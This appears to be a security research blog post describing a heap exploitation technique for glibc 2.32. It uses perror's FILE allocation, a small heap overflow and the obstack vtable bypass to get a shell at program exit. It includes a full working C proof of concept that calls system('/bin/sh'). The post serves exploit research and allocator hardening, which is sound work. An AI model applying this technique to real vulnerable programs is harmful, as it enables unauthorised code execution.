fimad.dev
This post describes a novel heap exploitation technique for gaining arbitrary
code execution via a 2-byte heap overflow, a perror
call, and a controlled
exit. This technique as presented is known to work with glibc 2.32.
The novelty of this technique lies in using perror
and its interaction with
malloc
to add an attacker crafted FILE
object to glibc’s global linked list
of open FILE
streams.
Arbitrary code execution is obtained by preparing this crafted FILE
to invoke
a shell using the obstack vtable bypass.
This attack requires the ability to trigger a perror
invocation followed by an
_IO_cleanup
call (for example via exit
) and makes use of a small heap buffer
overflow to corrupt the size of a chunk in the unsorted bin.
Additionally moderate control over heap allocations is required to coerce the heap into a state suitable for launching the attack.
perror is a utility
function that is commonly used in error handling in C programs. It takes a
single string argument and outputs the string along with a human readable
description of the current errno
value to the stderr
file descriptor.
The interesting aspect of this behavior for the purposes of this article is that
when perror
executes it attempts to allocate its own FILE
structure using
the same underlying file descriptor used by stderr
. After writing the error
message perror
closes this temporary FILE
stream.
|
|
Creating a new FILE
via fdopen
results in the immediate malloc
allocation
for the FILE
structure.
|
|
|
|
|
|
|
|
A second allocation occurs when perror
attempts to write to its newly
allocated FILE
.
When a FILE
is first allocated, its internal write and read buffers are
null-initialized. The buffers are lazily initialized in the process of buffering
output.
The actual allocation is performed by the _IO_file_doallocate
method. The size
of the allocation is inferred from the block size of the underlying the device
with a default block size as a fall back.
|
|
|
|
After writing the error message perror
closes the temporary FILE
. The
interesting behavior here is that the FILE
that is being closed is “unlinked”.
|
|
|
|
All of the FILE
objects opened by glibc are added to a global _IO_list_all
linked list. The _IO_list_all
global points to the most recently open file
with the FILE._chain
field pointing to the next FILE
in the list.
Unlinking a FILE
removes it from this global linked list. This process
involves copying the _chain
pointer from the closing FILE
to the previous
FILE
in the list.
In the perror
case, this will typically directly write to _IO_list_all
since
the temporary file was just created as part of the perror
call and is likely
at the front of the list.
|
|
This _IO_list_all
list is used by _IO_cleanup
at program termination to
flush all open files.
|
|
|
|
Flushing the open files involves iterating over _IO_list_all
and potentially
invoking the overflow vtable entry via _IO_OVERFLOW
if there is pending data
in the file’s write buffer.
|
|
In summary, calling perror
performs the following interesting actions:
FILE
is opened for writing, the memory for this object is
allocated from malloc
.malloc
for buffering output.FILE
is closed, freeing the allocated buffers, and unlinking
the file from _IO_list_all
.Later, normal program termination will result in glibc flushing all files in
_IO_list_all
which may invoke the overflow vtable entry.
The strategy for leveraging this behavior into code execution is to utilize the
malloc
operations performed by perror
to corrupt the chain pointer of the
temporary FILE
and rely on the closing of that file to place the corrupted
chain pointer value into _IO_list_all
.
This can be done with the following steps:
FILE
on the heap composed of two neighboring chunks one sized
0x20
and the other large enough to hold the remainder of the FILE
.perror
allocation for the FILE
object.FILE
object
allocated by perror
.0x20
chunk from step 1. to the fast bin.perror
call.This will cause perror
to use the altered unsorted chunk for its FILE
. The
second allocation for the write buffer will then sort the fast bin chunk into
the small bin thus updating the small chunk’s back pointer to point to the fake
FILE
.
When perror
closes its temporary FILE
the global _IO_list_all
will be
updated to point to the fake FILE
.
A fake FILE
that executes a shell can be created using the obstack vtable
bypass and is relatively
straightforward. Differences from the approach described in the linked post are
highlighed below.
The FILE
is created from two separate but neighboring chunks. The first chunk
must be small enough that it is placed in a fast bin when freed while the second
chunk must be large enough to contain the remainder of the FILE
object (at
least 0xd0
for 64-bit glibc).
uintptr_t *fake_file_start = (uintptr_t *) malloc(0x10);
uintptr_t *fake_file_body = (uintptr_t *) malloc(0xd0);
This results in the following chunks being created in memory. Sizes are given in
total chunk size which includes malloc
meta-data overhead.
The vtable for the file is set to the _IO_obstack_jumps
offset by 4 entries.
fake_file_body[21] = _IO_obstack_jumps + 0x20;
This is done so that the _IO_obstack_xsputn
method is in the place of the
overflow
entry in the jump table.
|
|
This attack relies on _IO_cleanup
which eventually invokes the vtable’s
overflow
method. While both _IO_obstack_overflow
and _IO_obstack_xsputn
attempt to grow the associated obstack
, _IO_obstack_overflow
contains an
assert
that is triggered when invoked by _IO_cleanup
which makes it
unsuitable for use in this attack.
|
|
After a fake FILE
is built the next step is to prepare the heap for the
overlapping bin attack.
The goal of this step to end up with a memory arrangement like the one below where the attacker controls a chunk that can be overflown, followed by a unsorted victim, some padding, a small bin chunk, and some more padding.
The combined size of the victim chunk and first padding need to be 0x60
bytes
to properly align the back pointer of the small bin chunk with the chain pointer
of the eventual perror
FILE
.
Additionally, the second padding chunk needs to be under attacker control and large enough such that it contains the new previous size field after the victim chunk’s size is altered in the overlapping bin attack.
One method of achieving this layout is to prepare a large free chunk bordered by an allocated fence, and then repeatedly allocate smaller chunks from the free chunk:
// Step 1.
uintptr_t *hole = (uintptr_t *) malloc(0x500);
uintptr_t *fence = (uintptr_t *) malloc(0x500);
free(hole);
// Step 2.
uintptr_t *overflow_hole = (uintptr_t *) malloc(0x4b0);
uintptr_t *padding = (uintptr_t *) malloc(0x20);
free(overflow_hole);
// Step 3.
uintptr_t *overflow = (uintptr_t *) malloc(0x480);
Next a vulnerability is exploited whereby a heap overflow occurs allowing the attacker to alter the size of the victim chunk in the unsorted bin.
The size of the chunk is altered to match the exact size requested by perror
for the FILE
allocation. On 64-bit glibc 2.27 through 2.32 this size is
0x230
. The low bit is set to 1
to indicate that the previous chunk is in
use.
overflow[(0x480 / sizeof(uintptr_t)) + 1] = 0x231;
When performing this attack on glibc 2.29 and later there are validations on
unsorted chunks that must be satisfied in order to make malloc
accept the
corrupted chunk.
The following checks were introduced in glibc 2.29. The highlighted lines mark the ones that require additional work to satisfy.
|
|
This can be done by arranging for the end of the new unsorted bin chunk to land in an attacker controlled chunk that contains fake chunk meta-data.
fence[0x1a0 / sizeof(uintptr_t)] = 0x230; /* prev_size */
fence[0x1a0 / sizeof(uintptr_t) + 1] = 0x20; /* size | prev not inuse */
fence[0x1a0 / sizeof(uintptr_t) + 5] = 0x21; /* size | prev in use */
After performing the overlapping chunk attack the final steps are to free the
0x20
chunk that contains the start of the fake FILE
to the fast bin and
trigger a perror
invocation.
The initial call to perror
is for an 0x230
sized chunk. Since this is a
small bin sized request, malloc
will attempt to service it from the unsorted
bin after checking the small bin. In this case the previously prepared chunk
will be an exact match and malloc
will return it directly.
When peror
writes the error message to its temporary FILE
, it will allocate
a large buffer for writing. Since this is a large buffer malloc
will evict all
fast bin chunks prior to searching the unsorted bin.
This will cause the chunk containing the fake FILE
to be sorted into the same
small bin as the chunk that overlaps with the perror
FILE
. This will corrupt
the chain pointer of the perror
FILE
with the address of the fake FILE
.
Finally, the perror
call will close its temporary FILE
which will place the
fake FILE
in the _IO_list_all
global.
All that is left at this point to trigger code execution is to cause the program
to exit cleanly. For example by returning from main
or an exit
call.
// An example of performing the perror trick to leverage a small heap overflow
// into code execution. This demonstration relies on a heap and libc leak.
//
// Run with:
// $ gcc -o example example.c && ./example
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void fill_tcache(size_t size) {
void* chunks[7] = {};
for (int i = 0; i < 7; i++) {
chunks[i] = malloc(size);
}
for (int i = 0; i < 7; i++) {
free(chunks[i]);
}
}
int main(int argc, char **argv) {
// Place a shell command in a known region of memory.
char *shell_command = (char *) malloc(0x10);
strcpy(shell_command, "/bin/sh");
// Construct a fake obstack struct where the chunkfun allocator function
// points to system and the extra_arg field points to the location of the
// shell command to execute.
uintptr_t *fake_obstack = (uintptr_t *) malloc(0x100);
fake_obstack[3] = 1; /* next_free */
fake_obstack[4] = 0; /* chunk_limit */
fake_obstack[7] = (uintptr_t) &system; /* chunkfun */
fake_obstack[9] = (uintptr_t) shell_command; /* extra_arg */
fake_obstack[10] = -1; /* use_extra_arg */
// Prepare the fake FILE.
//
// There are two chunks that are used in constructing the fake FILE. The first
// is a small 0x20 chunk the second is a larger chunk that contains the bulk
// of the FILE.
uintptr_t *fake_file_start = (uintptr_t *) malloc(0);
uintptr_t *fake_file = (uintptr_t *) malloc(0x500);
// Construct a fake FILE object with a vtable pointing to the
// _IO_obstack_jumps vtable and the obstack field pointing to the fake obstack
// above.
//
// Setup the fake FILE to pass validation required to call _IO_OVERFLOW which
// is invoked by _IO_cleanup. This requires a valid lock pointer pointing to
// null, a small value for the write_end field, and an obstack refrence.
fake_file[1] = 0; /* write_end */
fake_file[11] = (uintptr_t) (fake_file + 8); /* lock */
fake_file[22] = (uintptr_t) fake_obstack; /* obstack */
// Setup the vtable to trigger _IO_obstack_xsputn when the overflow vtable
// method is invoked.
uintptr_t _IO_file_jumps = ((uintptr_t *) stdin)[27];
uintptr_t _IO_obstack_jumps = _IO_file_jumps - 0x240;
fake_file[21] = _IO_obstack_jumps + 0x20;
// Fill the 0x20 tcache. This will allow the fake_file_start to be freed to
// the fast bin later.
fill_tcache(0);
// Create a large hole that will house:
//
// - A large chunk that will be split to create an unsorted chunk for
// overflowing.
// - A 0x20 small bin chunk that will be used to corrupt perror's FILE's
// chain pointer.
uintptr_t *hole = (uintptr_t *) malloc(0x500);
uintptr_t *fence = (uintptr_t *) malloc(0x500);
free(hole);
// Split the hole into three allocations:
//
// - Another hole that will be used to create the unsorted chunk for
// overflowing.
// - An 0x30 sized chunk that prevents consolidation and acts as padding to
// align the next chunk with the FILE object's chain pointer.
// - An 0x20 remainder chunk from the 0x30 allocation that will be placed
// into the unsorted bin now and eventually sorted into the small bin.
void *overflow_hole = malloc(0x500 - 0x30 - 0x20);
malloc(0x20);
free(overflow_hole);
// Allocate a victim chunk that will be the subject of an overflow
// vulnerability. This will sort the 0x20 chunk created above into the small
// bin and it will split the overflow hole created above into a remainder
// chunk that is placed on the unsorted bin.
//
// The overflow hole and the victim chunk's size are arranged such that the
// remainder chunk when interpreted as a FILE structure has a chain pointer
// field that aligns with the back pointer of the 0x20 small bin chunk.
uintptr_t *overflow = (uintptr_t *) malloc(0x480);
// A VULNERABILITY is simulated here: the overflow chunk overflows into the
// size of the neighboring chunk in the unsorted bin.
//
// The size is changed to 0x230 which exactly matches the size of the initial
// perror allocation. The previous in use bit is set to maintain consistency
// with overflow's in use status.
overflow[(0x480 / sizeof(uintptr_t)) + 1] = 0x231;
// The unsorted chunk that just had its sized altered will now overlap with
// the fence chunk. Create some fake chunks within the fence chunk in order to
// satisfy malloc's validations on unsorted chunks.
fence[0x1a0 / sizeof(uintptr_t)] = 0x230; /* prev_size */
fence[0x1a0 / sizeof(uintptr_t) + 1] = 0x20; /* size | prev not inuse */
fence[0x1a0 / sizeof(uintptr_t) + 5] = 0x21; /* size | prev in use */
// Free the chunk corresponding to the fake FILE to the fast bin. The initial
// malloc performed by perror will not touch this chunk since there is an
// exact match already in the unsorted bin.
//
// However, the second allocation is a large allocation which will kill the
// fast bins before sorting the unsorted bin. As a result this chunk will be
// added to the 0x20 small bin which will update the back pointer of the small
// bin chunk (and the FILE chunk's chain pointer).
free(fake_file_start);
// A call to perror will allocate a FILE, write to it, and close it. This will
// write our fake FILE to _IO_list_all. Normal program termination, either by
// returning from main or calling exit will result in _IO_cleanup being called
// which will trigger the fake FILE.
perror("hello world");
}